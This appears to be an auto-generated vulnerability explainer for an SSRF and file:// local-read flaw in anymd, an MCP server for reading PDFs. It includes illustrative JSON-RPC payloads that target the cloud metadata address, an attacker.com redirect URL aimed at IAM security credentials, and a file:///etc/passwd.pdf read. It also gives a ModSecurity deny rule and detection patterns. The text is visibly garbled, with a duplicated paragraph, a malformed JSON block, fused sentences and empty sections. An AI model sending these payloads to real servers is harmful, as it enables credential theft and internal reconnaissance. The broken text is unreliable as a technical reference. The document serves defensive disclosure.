CVE-2026-75519 — CWE-918
anymd is a Model Context Protocol server for reading PDF documents. Prior to version 2.4.1, the read_pdf tool accepted URL sources with no SSRF or scheme validation. The URL branch passed source.url directly to PDF.js, which could fetch internal HTTP endpoints (SSRF), follow redirects to private hosts, and read arbitrary local PDFs via file:// URLs — bypassing the path confinement applied to the path source. This issue has been patched in version 2.4.1.
anymd is a Model Context Protocol server for reading PDF documents. Prior to version 2.4.1, the read_pdf tool accepted URL sources with no SSRF or scheme validation. The URL branch passed source.url directly to PDF.js, which could fetch internal HTTP endpoints (SSRF), follow redirects to private hosts, and read arbitrary local PDFs via file:// URLs — bypassing the path confinement applied to the path source. This issue has been patched in version 2.4.1.
🎯 What is this vulnerability?
CVE-2026-75519 is a Server-Side Request Forgery (SSRF) and Path Traversal vulnerability in anymd, a Model Context Protocol (MCP) server designed for reading PDF documents.
The core technical flaw lies in the read_pdf tool's handling of input sources. Prior to version 2.4.1, the application failed to validate the scheme or destination of URLs provided by the user. Specifically:
1. Missing Scheme Validation: The code accepted any URL scheme, including file://, http://, and https://.
2. Missing SSRF Protection: When an http:// or https:// URL was provided, it was passed directly to the underlying PDF.js library without checking if the IP address resolved to a private/internal network range (e.g., 127.0.0.1, 10.x.x.x, 172.16.x.x, 192.168.x.x).
3. Bypassed Path Confinement: The application likely had a "path confinement" mechanism (sandboxing) for local file paths, but this check was only applied to the path source type. The url source type bypassed this check entirely, allowing the file:// protocol to read arbitrary local files that ended in .pdf (or potentially other files if the PDF parser is lenient with magic bytes, though the CVE specifies "arbitrary local PDFs").
CWE-918 (Server-Side Request Forgery) is the primary classification, but the file:// aspect also touches on CWE-22 (Path Traversal). The CVSS vector AV:N/AC:L/PR:N/UI:N indicates this is an unauthenticated, network-accessible vulnerability with low complexity.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Target Identification: The attacker identifies a host running an MCP server (e.g., via port scanning for common MCP ports or service banners).
- Version Fingerprinting: The attacker queries the MCP server's metadata or version endpoint (if exposed) to confirm the version is
< 2.4.1. Alternatively, they may attempt a harmlessread_pdfcall with a known public URL to confirm the tool's existence and functionality.
2. Exploitation
The attacker interacts with theread_pdf tool via the MCP protocol (typically JSON-RPC over HTTP or WebSocket).Illustrative PoC (JSON-RPC Request):
Note: The exact MCP endpoint URI (e.g., /mcp, /rpc, /api/v1/tools) is not specified in the CVE description. The following is an illustrative example of the payload structure.
Scenario A: SSRF to Internal Metadata Service (AWS/GCP/Azure)
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "read_pdf",
"arguments": {
"source": {
"type": "url",
"url": "http://169.254.169.254/latest/meta-data/"
}
}
}
}http://169.254.169.254/latest/meta-data/ to PDF.js. PDF.js attempts to fetch this URL. If the response is not a valid PDF, PDF.js may return an error, but some implementations might leak partial content or headers in the error message. More critically, if the internal service returns a PDF-like structure or if the attacker uses a redirect to a controlled server that logs the request, they can confirm access."url": "http://attacker.com/redirect?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/"The attacker's server issues a 302 Found redirect to the internal IP. The MCP server follows the redirect, fetches the internal data, and attempts to parse it as a PDF. If the internal service returns a valid PDF (e.g., a test document), the content is returned to the attacker. If it returns HTML/JSON, the PDF parser fails, but the request was made, allowing for blind SSRF or timing-based detection.
Scenario B: Local File Read via file://
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"arguments": {
"source": {
"type": "url",
"url": "file:///etc/passwd.pdf"
}
}
}file:// scheme bypasses the network layer. The PDF.js library (or the underlying file reader) opens /etc/passwd.pdf. If the file exists and is a valid PDF, its content is returned. If the file is not a PDF, the tool may return an error, but the attacker can iterate through known PDF paths (e.g., /var/www/html/reports/secret.pdf, /home/user/documents/confidential.pdf).3. Post-Exploitation
http://10.0.0.5:8080/admin) to identify internal services.🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade
anymd to version 2.4.1 or later. This version includes the fix for SSRF and scheme validation.2. Workarounds (If Immediate Upgrade is Not Possible)
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).url Source Type: If the MCP server configuration allows, disable the url source type for the read_pdf tool, forcing users to use the path source type (which is subject to path confinement).file:// or internal IP ranges in the url parameter of the read_pdf tool.SecRule ARGS:source/url "@rx (file://|http://(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.|127\.))" \
"id:100001,phase:2,deny,status:403,msg:'SSRF attempt detected in read_pdf url'"3. Detection
url parameter contains:file://
* Internal IP addresses (10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1)
* Cloud metadata IPs (169.254.169.254)
POST /mcp HTTP/1.1
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_pdf","arguments":{"source":{"type":"url","url":"file:///etc/passwd.pdf"}}}}⚠️ Urgency
[🤖 CVE Professor AI Security Engine]